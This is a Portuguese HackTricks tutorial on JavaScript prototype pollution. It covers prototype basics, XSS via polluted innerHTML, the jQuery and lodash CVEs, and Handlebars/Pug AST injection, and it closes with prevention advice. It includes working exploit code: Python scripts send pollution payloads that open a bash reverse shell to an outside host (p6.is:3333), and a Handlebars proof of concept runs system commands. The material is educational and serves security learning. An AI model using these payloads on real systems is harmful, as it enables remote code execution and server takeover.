NodeJS - __proto__ & prototype Pollution

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Objetos em JavaScript

Objetos em JavaScript são essencialmente coleções de pares chave-valor, conhecidos como propriedades. Um objeto pode ser criado usando Object.create com null como argumento para produzir um objeto vazio. Este método permite a criação de um objeto sem quaisquer propriedades herdadas.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Um objeto vazio é semelhante a um dicionário vazio, representado como {}.

Funções e Classes em JavaScript

Em JavaScript, classes e funções estão intimamente ligadas, com funções frequentemente servindo como construtores para classes. Apesar da falta de suporte nativo a classes em JavaScript, os construtores podem emular o comportamento de classes.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Protótipos em JavaScript

O JavaScript permite a modificação, adição ou exclusão de atributos de protótipo em tempo de execução. Essa flexibilidade possibilita a extensão dinâmica das funcionalidades de uma classe.

Funções como toString e valueOf podem ser alteradas para mudar seu comportamento, demonstrando a natureza adaptável do sistema de protótipos do JavaScript.

Herança

Na programação baseada em protótipos, propriedades/métodos são herdados por objetos de classes. Essas classes são criadas adicionando propriedades/métodos a uma instância de outra classe ou a um objeto vazio.

Deve-se observar que quando uma propriedade é adicionada a um objeto que serve como protótipo para outros objetos (como myPersonObj), os objetos herdeiros ganham acesso a essa nova propriedade. No entanto, essa propriedade não é exibida automaticamente a menos que seja explicitamente invocada.

Poluição de __proto__

Explorando a Poluição de Protótipos em JavaScript

Objetos JavaScript são definidos por pares de chave-valor e herdam do protótipo Object do JavaScript. Isso significa que alterar o protótipo Object pode influenciar todos os objetos no ambiente.

Vamos usar um exemplo diferente para ilustrar:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

O acesso ao protótipo do objeto é possível através:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Ao adicionar propriedades ao protótipo do Object, todo objeto JavaScript herdará essas novas propriedades:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

poluição de protótipo

Para um cenário em que o uso de __proto__ é restrito, modificar o protótipo de uma função é uma alternativa:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Isso afeta apenas objetos criados a partir do construtor Vehicle, dando a eles as propriedades beep, hasWheels, honk e isElectric.

Dois métodos para afetar globalmente objetos JavaScript por meio da poluição de protótipos incluem:

  1. Poluindo diretamente o Object.prototype:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Poluindo o protótipo de um construtor para uma estrutura comumente utilizada:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Após essas operações, todo objeto JavaScript pode executar os métodos goodbye e greet.

Poluindo outros objetos

De uma classe para Object.prototype

Em um cenário onde você pode poluir um objeto específico e precisa chegar ao Object.prototype, você pode procurá-lo com algo semelhante ao seguinte código:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Poluição de elementos de array

Observe que, assim como você pode poluir atributos de objetos em JS, se você tiver acesso para poluir um array, você também pode poluir os valores do array acessíveis por índices (observe que você não pode sobrescrever valores, então você precisa poluir índices que são de alguma forma usados mas não escritos).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Poluição de elementos Html

Ao gerar um elemento HTML via JS, é possível sobrescrever o atributo innerHTML para fazer com que ele escreva código HTML arbitrário. Idea and example from this writeup.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Exemplos

Exemplo Básico

Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite a sobrescrita de propriedades em Object.prototype. Isso significa que, uma vez que a maioria dos objetos deriva suas propriedades de Object.prototype

O exemplo mais simples é adicionar um valor a um atributo indefinido de um objeto que será verificado, como:

if (user.admin) {

Se o atributo admin estiver indefinido, é possível abusar de uma PP e defini-lo como True com algo como:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

O mecanismo por trás disso envolve a manipulação de propriedades de forma que, se um atacante tiver controle sobre determinadas entradas, ele pode modificar o protótipo de todos os objetos na aplicação. Essa manipulação geralmente envolve a definição da propriedade __proto__, que, em JavaScript, é sinônimo de modificar diretamente o protótipo de um objeto.

As condições sob as quais esse ataque pode ser executado com sucesso, conforme descrito em um estudo específico, incluem:

  • Realizar uma mesclagem recursiva.

  • Definir propriedades com base em um caminho.

  • Clonar objetos.

Função de Substituição

customer.__proto__.toString = ()=>{alert("polluted")}

Poluição de Protótipo para RCE

pagePrototype Pollution to RCE

Outros payloads:

Poluição de Protótipo do Lado do Cliente para XSS

pageClient Side Prototype Pollution

CVE-2019–11358: Ataque de poluição de protótipo através do jQuery $ .extend

Para mais detalhes, confira este artigo No jQuery, a função $ .extend pode levar à poluição de protótipo se o recurso de cópia profunda for utilizado incorretamente. Esta função é comumente usada para clonar objetos ou mesclar propriedades de um objeto padrão. No entanto, quando mal configurada, as propriedades destinadas a um novo objeto podem ser atribuídas ao protótipo em vez disso. Por exemplo:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Esta vulnerabilidade, identificada como CVE-2019–11358, ilustra como uma cópia profunda pode modificar inadvertidamente o protótipo, levando a potenciais riscos de segurança, como acesso não autorizado de administrador se propriedades como isAdmin forem verificadas sem a devida verificação de existência.

CVE-2018–3721, CVE-2019–10744: Ataque de poluição de protótipo através do lodash

Para mais detalhes, consulte este artigo

O Lodash encontrou vulnerabilidades semelhantes de poluição de protótipo (CVE-2018–3721, CVE-2019–10744). Esses problemas foram resolvidos na versão 4.17.11.

Outro tutorial com CVEs

Ferramentas para detectar Poluição de Protótipo

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Extensão do Burp Suite projetada para detectar e analisar vulnerabilidades de poluição de protótipo do lado do servidor em aplicações web. Esta ferramenta automatiza o processo de varredura de solicitações para identificar possíveis problemas de poluição de protótipo. Explora gadgets conhecidos - métodos de alavancagem de poluição de protótipo para executar ações prejudiciais - focando especialmente em bibliotecas Node.js.

  • server-side-prototype-pollution: Esta extensão identifica vulnerabilidades de poluição de protótipo do lado do servidor. Utiliza técnicas descritas na poluição de protótipo do lado do servidor.

Poluição de Protótipo AST no NodeJS

O NodeJS utiliza extensivamente Árvores de Sintaxe Abstrata (AST) em JavaScript para funcionalidades como motores de template e TypeScript. Esta seção explora as vulnerabilidades relacionadas à poluição de protótipo em motores de template, especificamente Handlebars e Pug.

Análise de Vulnerabilidade do Handlebars

O motor de template Handlebars é suscetível a um ataque de poluição de protótipo. Esta vulnerabilidade surge de funções específicas dentro do arquivo javascript-compiler.js. A função appendContent, por exemplo, concatena pendingContent se estiver presente, enquanto a função pushSource redefine pendingContent para undefined após adicionar a origem.

Processo de Exploração

A exploração aproveita a AST (Árvore de Sintaxe Abstrata) produzida pelo Handlebars, seguindo estes passos:

  1. Manipulação do Parser: Inicialmente, o parser, por meio do nó NumberLiteral, garante que os valores sejam numéricos. A poluição de protótipo pode contornar isso, permitindo a inserção de strings não numéricas.

  2. Tratamento pelo Compilador: O compilador pode processar um Objeto AST ou um template de string. Se input.type for igual a Program, a entrada é tratada como pré-parseada, o que pode ser explorado.

  3. Injeção de Código: Através da manipulação de Object.prototype, é possível injetar código arbitrário na função de template, o que pode levar à execução remota de código.

Um exemplo que demonstra a exploração da vulnerabilidade do Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Este código demonstra como um atacante poderia injetar código arbitrário em um modelo Handlebars.

Referência Externa: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: Issue no GitHub.

Referência Externa: Problema relacionado à poluição de protótipos na biblioteca 'flat'

Exemplo de exploração de poluição de protótipos em Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Vulnerabilidade do Pug

O Pug, outra engine de template, enfrenta um risco semelhante de poluição de protótipo. Informações detalhadas estão disponíveis na discussão sobre Injeção de AST no Pug.

Exemplo de poluição de protótipo no Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Medidas Preventivas

Para reduzir o risco de poluição de protótipos, as estratégias listadas abaixo podem ser empregadas:

  1. Imutabilidade de Objetos: O Object.prototype pode ser tornado imutável aplicando Object.freeze.

  2. Validação de Entrada: As entradas JSON devem ser rigorosamente validadas em relação ao esquema da aplicação.

  3. Funções de Mesclagem Seguras: O uso inseguro de funções de mesclagem recursiva deve ser evitado.

  4. Objetos sem Protótipo: Objetos sem propriedades de protótipo podem ser criados usando Object.create(null).

  5. Uso de Mapa: Em vez de Object, Map deve ser usado para armazenar pares chave-valor.

  6. Atualizações de Biblioteca: Patches de segurança podem ser incorporados atualizando regularmente as bibliotecas.

  7. Ferramentas de Análise Estática e Linter: Use ferramentas como ESLint com plugins apropriados para detectar e prevenir vulnerabilidades de poluição de protótipos.

  8. Revisões de Código: Implemente revisões de código minuciosas para identificar e remediar riscos potenciais relacionados à poluição de protótipos.

  9. Treinamento de Segurança: Eduque os desenvolvedores sobre os riscos da poluição de protótipos e as melhores práticas para escrever código seguro.

  10. Uso Cauteloso de Bibliotecas: Seja cauteloso ao usar bibliotecas de terceiros. Avalie sua postura de segurança e revise seu código, especialmente aqueles que manipulam objetos.

  11. Proteção em Tempo de Execução: Empregue mecanismos de proteção em tempo de execução, como usar pacotes npm focados em segurança que podem detectar e prevenir ataques de poluição de protótipos.

Referências

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Last updated